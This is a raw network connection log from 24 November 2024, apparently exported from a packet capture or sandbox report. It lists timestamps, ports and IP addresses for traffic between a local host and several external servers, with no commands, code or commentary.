Nov 24, 2024 19:11:43.260261059 CET	443	49739	94.245.104.56	192.168.2.8
Nov 24, 2024 19:11:43.263005972 CET	49740	443	192.168.2.8	94.245.104.56
Nov 24, 2024 19:11:43.263029099 CET	443	49740	94.245.104.56	192.168.2.8
Nov 24, 2024 19:11:43.263123035 CET	49739	443	192.168.2.8	94.245.104.56
Nov 24, 2024 19:11:43.263134956 CET	443	49739	94.245.104.56	192.168.2.8
Nov 24, 2024 19:11:43.264060020 CET	443	49740	94.245.104.56	192.168.2.8
Nov 24, 2024 19:11:43.264144897 CET	49740	443	192.168.2.8	94.245.104.56
Nov 24, 2024 19:11:43.264178038 CET	443	49739	94.245.104.56	192.168.2.8
Nov 24, 2024 19:11:43.264240026 CET	49739	443	192.168.2.8	94.245.104.56
Nov 24, 2024 19:11:43.265705109 CET	49740	443	192.168.2.8	94.245.104.56
Nov 24, 2024 19:11:43.265774965 CET	443	49740	94.245.104.56	192.168.2.8
Nov 24, 2024 19:11:43.265959978 CET	49739	443	192.168.2.8	94.245.104.56
Nov 24, 2024 19:11:43.266024113 CET	443	49739	94.245.104.56	192.168.2.8
Nov 24, 2024 19:11:43.266143084 CET	49740	443	192.168.2.8	94.245.104.56
Nov 24, 2024 19:11:43.266154051 CET	443	49740	94.245.104.56	192.168.2.8
Nov 24, 2024 19:11:43.349175930 CET	49740	443	192.168.2.8	94.245.104.56
Nov 24, 2024 19:11:43.349286079 CET	49739	443	192.168.2.8	94.245.104.56
Nov 24, 2024 19:11:43.349294901 CET	443	49739	94.245.104.56	192.168.2.8
Nov 24, 2024 19:11:43.552849054 CET	49739	443	192.168.2.8	94.245.104.56
Nov 24, 2024 19:11:43.781408072 CET	443	49740	94.245.104.56	192.168.2.8
Nov 24, 2024 19:11:43.781514883 CET	443	49740	94.245.104.56	192.168.2.8
Nov 24, 2024 19:11:43.781744957 CET	49740	443	192.168.2.8	94.245.104.56
Nov 24, 2024 19:11:44.080236912 CET	49740	443	192.168.2.8	94.245.104.56
Nov 24, 2024 19:11:44.080265999 CET	443	49740	94.245.104.56	192.168.2.8
Nov 24, 2024 19:11:44.168421030 CET	49725	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:44.168668985 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:44.287857056 CET	80	49725	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:44.288090944 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:44.288171053 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:44.290041924 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:44.290118933 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:44.328643084 CET	49751	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:44.328686953 CET	443	49751	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:44.328830004 CET	49751	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:44.342622995 CET	49751	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:44.342645884 CET	443	49751	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:44.411595106 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:44.411608934 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:44.416759968 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:44.416770935 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:44.902282000 CET	49754	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:44.902307034 CET	443	49754	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:44.902409077 CET	49754	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:44.903057098 CET	49755	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:44.903079987 CET	443	49755	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:44.903441906 CET	49756	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:44.903470993 CET	443	49756	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:44.903513908 CET	49756	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:44.903583050 CET	49755	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:44.903969049 CET	49756	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:44.903981924 CET	443	49756	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:44.904223919 CET	49755	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:44.904236078 CET	443	49755	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:44.904923916 CET	49754	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:44.904937029 CET	443	49754	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:45.086472034 CET	443	49743	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:45.086698055 CET	49743	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:45.336565971 CET	49743	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:45.336587906 CET	443	49743	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:45.336946964 CET	443	49743	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:45.338309050 CET	49743	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:45.338349104 CET	49743	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:45.338383913 CET	443	49743	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:45.557039022 CET	49756	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:45.557782888 CET	49760	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:45.557820082 CET	443	49760	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:45.557974100 CET	49760	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:45.558454990 CET	49760	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:45.558470964 CET	443	49760	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:45.558835030 CET	49739	443	192.168.2.8	94.245.104.56
Nov 24, 2024 19:11:45.558898926 CET	443	49739	94.245.104.56	192.168.2.8
Nov 24, 2024 19:11:45.558999062 CET	49739	443	192.168.2.8	94.245.104.56
Nov 24, 2024 19:11:45.559288025 CET	49755	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:45.559384108 CET	49751	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:45.562479973 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:45.562479973 CET	49771	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:45.562484026 CET	49769	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:45.562489033 CET	49754	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:45.562494993 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:45.562517881 CET	443	49771	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:45.562525034 CET	443	49769	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:45.562588930 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:45.562693119 CET	49771	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:45.562696934 CET	49769	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:45.562797070 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:45.562815905 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:45.563333035 CET	49769	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:45.563348055 CET	443	49769	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:45.563386917 CET	49771	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:45.563400030 CET	443	49771	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:45.599339962 CET	443	49756	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:45.603338003 CET	443	49755	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:45.603343010 CET	443	49751	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:45.607325077 CET	443	49754	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:45.630920887 CET	49772	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:45.630959988 CET	443	49772	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:45.631067038 CET	49772	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:45.631601095 CET	49773	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:45.631625891 CET	443	49773	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:45.631762981 CET	49772	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:45.631778955 CET	443	49772	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:45.631807089 CET	49773	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:45.631933928 CET	49773	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:45.631941080 CET	443	49773	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:45.728657961 CET	49774	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:45.728696108 CET	443	49774	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:45.728790998 CET	49774	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:45.729106903 CET	49774	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:45.729124069 CET	443	49774	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:46.088892937 CET	443	49743	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:46.088922977 CET	443	49743	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:46.088969946 CET	443	49743	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:46.089020967 CET	49743	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:46.089035988 CET	443	49743	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:46.089081049 CET	49743	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:46.089081049 CET	49743	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:46.089700937 CET	49743	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:46.089700937 CET	49743	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:46.089721918 CET	443	49743	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:46.089731932 CET	443	49743	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:46.132062912 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:46.132149935 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:46.164724112 CET	443	49756	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:46.164802074 CET	49756	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:46.164820910 CET	443	49756	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:46.164880037 CET	49756	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:46.167936087 CET	443	49755	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:46.168020964 CET	49755	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:46.182871103 CET	443	49754	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:46.182924032 CET	49754	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:46.235899925 CET	443	49751	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:46.235970020 CET	49751	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:46.261545897 CET	49775	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:46.261568069 CET	443	49775	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:46.261651039 CET	49775	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:46.262017965 CET	49775	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:46.262028933 CET	443	49775	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:46.328231096 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:46.491895914 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:46.838606119 CET	49776	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:46.838639021 CET	443	49776	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:46.838704109 CET	49776	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:46.838959932 CET	49776	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:46.838983059 CET	443	49776	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:46.879199982 CET	443	49760	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:46.880075932 CET	49760	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:46.880098104 CET	443	49760	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:46.881525993 CET	443	49760	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:46.881589890 CET	49760	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:46.882734060 CET	49760	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:46.882812977 CET	443	49760	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:46.882925034 CET	49760	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:46.898870945 CET	443	49773	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:46.899144888 CET	49773	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:46.899159908 CET	443	49773	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:46.900137901 CET	443	49773	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:46.900197983 CET	49773	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:46.901067972 CET	49773	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:46.901127100 CET	443	49773	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:46.901459932 CET	49773	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:46.901468039 CET	443	49773	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:46.919490099 CET	443	49769	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:46.919966936 CET	49769	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:46.919975042 CET	443	49769	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:46.920967102 CET	443	49769	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:46.921104908 CET	49769	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:46.921951056 CET	49769	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:46.922008991 CET	443	49769	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:46.922157049 CET	49769	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:46.923165083 CET	443	49771	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:46.923392057 CET	49771	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:46.923427105 CET	443	49771	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:46.924415112 CET	443	49771	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:46.924484015 CET	49771	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:46.925142050 CET	49771	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:46.925208092 CET	443	49771	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:46.925530910 CET	49771	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:46.925539970 CET	443	49771	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:46.927344084 CET	443	49760	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:46.934066057 CET	443	49772	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:46.934266090 CET	49772	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:46.934276104 CET	443	49772	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:46.935234070 CET	443	49772	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:46.935307026 CET	49772	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:46.935646057 CET	49772	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:46.935703993 CET	443	49772	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:46.935769081 CET	49772	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:46.963320971 CET	443	49769	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:46.975759983 CET	49760	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:46.975775957 CET	443	49760	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:46.975776911 CET	49773	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:46.975802898 CET	49769	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:46.975810051 CET	443	49769	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:46.979332924 CET	443	49772	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.022950888 CET	49777	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:47.022983074 CET	443	49777	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:47.023183107 CET	49777	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:47.023542881 CET	49777	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:47.023555994 CET	443	49777	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:47.039556026 CET	443	49774	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.039906025 CET	49774	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.039933920 CET	443	49774	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.041042089 CET	443	49774	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.041105032 CET	49774	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.041533947 CET	49774	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.041603088 CET	443	49774	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.041769028 CET	49774	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.053474903 CET	49771	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:47.053474903 CET	49772	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.053503990 CET	443	49772	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.083338976 CET	443	49774	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.128098965 CET	49760	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.128123045 CET	49774	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.128123045 CET	49769	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.128134012 CET	443	49774	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.209084034 CET	49779	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.209116936 CET	443	49779	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.209781885 CET	49779	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.210170031 CET	49779	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.210180998 CET	443	49779	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.254214048 CET	49772	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.269007921 CET	49774	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.271265030 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:47.271347046 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:47.358196020 CET	443	49773	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:47.358297110 CET	443	49773	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:47.358751059 CET	49773	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:47.358942986 CET	49773	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:47.358954906 CET	443	49773	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:47.367110014 CET	443	49760	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.367192030 CET	443	49760	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.367474079 CET	49760	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.367683887 CET	49760	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.367693901 CET	443	49760	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.397640944 CET	443	49772	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.397712946 CET	443	49772	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.397773027 CET	49772	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.398042917 CET	49772	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.398058891 CET	443	49772	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.398525953 CET	443	49771	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:47.398581028 CET	443	49771	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:47.398734093 CET	49771	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:47.399271011 CET	49771	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:47.399276018 CET	443	49771	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:47.399638891 CET	443	49769	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.399689913 CET	443	49769	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.400094986 CET	49769	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.400666952 CET	49769	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.400682926 CET	443	49769	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.500881910 CET	443	49774	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.500953913 CET	443	49774	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.501105070 CET	49774	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.501368999 CET	49774	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.501396894 CET	443	49774	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.576368093 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:47.576740026 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:47.576755047 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:47.577119112 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:47.577132940 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:47.577183008 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:47.577188015 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:47.577222109 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:47.577831984 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:47.590570927 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:47.590662956 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:47.590773106 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:47.631334066 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:47.751343012 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:47.751360893 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:47.893562078 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:47.905996084 CET	49780	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.906032085 CET	443	49780	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.906100988 CET	49780	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.906502008 CET	49781	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.906543016 CET	443	49781	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.906723976 CET	49780	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.906738043 CET	443	49780	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.906770945 CET	49781	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.906981945 CET	49781	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:47.906996965 CET	443	49781	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:47.957612038 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.045625925 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.142761946 CET	443	49775	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:48.158179045 CET	49775	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:48.158206940 CET	443	49775	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:48.162188053 CET	49775	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:48.162192106 CET	443	49775	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:48.162416935 CET	49775	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:48.162430048 CET	443	49775	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:48.199692965 CET	443	49776	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.202780008 CET	49776	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.202792883 CET	443	49776	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.204237938 CET	443	49776	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.204340935 CET	49776	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.204905033 CET	49776	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.204987049 CET	443	49776	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.205044985 CET	49776	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.247349024 CET	443	49776	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.257875919 CET	49776	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.257894039 CET	443	49776	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.275753975 CET	49782	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.275794029 CET	443	49782	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.275943995 CET	49782	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.277374029 CET	49783	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.277451992 CET	443	49783	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.277653933 CET	49783	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.278465986 CET	49784	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.278498888 CET	443	49784	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.278687954 CET	49784	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.278958082 CET	49782	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.278970957 CET	443	49782	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.279306889 CET	49783	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.279354095 CET	443	49783	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.279541016 CET	49784	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.279553890 CET	443	49784	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.327837944 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.331037998 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.331151962 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.331161022 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.339495897 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.339684010 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.339692116 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.350845098 CET	443	49777	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:48.353888988 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.355251074 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.355339050 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.355350018 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.355602026 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.355951071 CET	49777	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:48.355962038 CET	443	49777	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:48.356740952 CET	443	49777	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:48.357455969 CET	49777	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:48.357578993 CET	443	49777	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:48.357732058 CET	49777	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:48.362364054 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.362380981 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.362400055 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.362413883 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.362418890 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.362461090 CET	80	49750	185.215.113.206	192.168.2.8
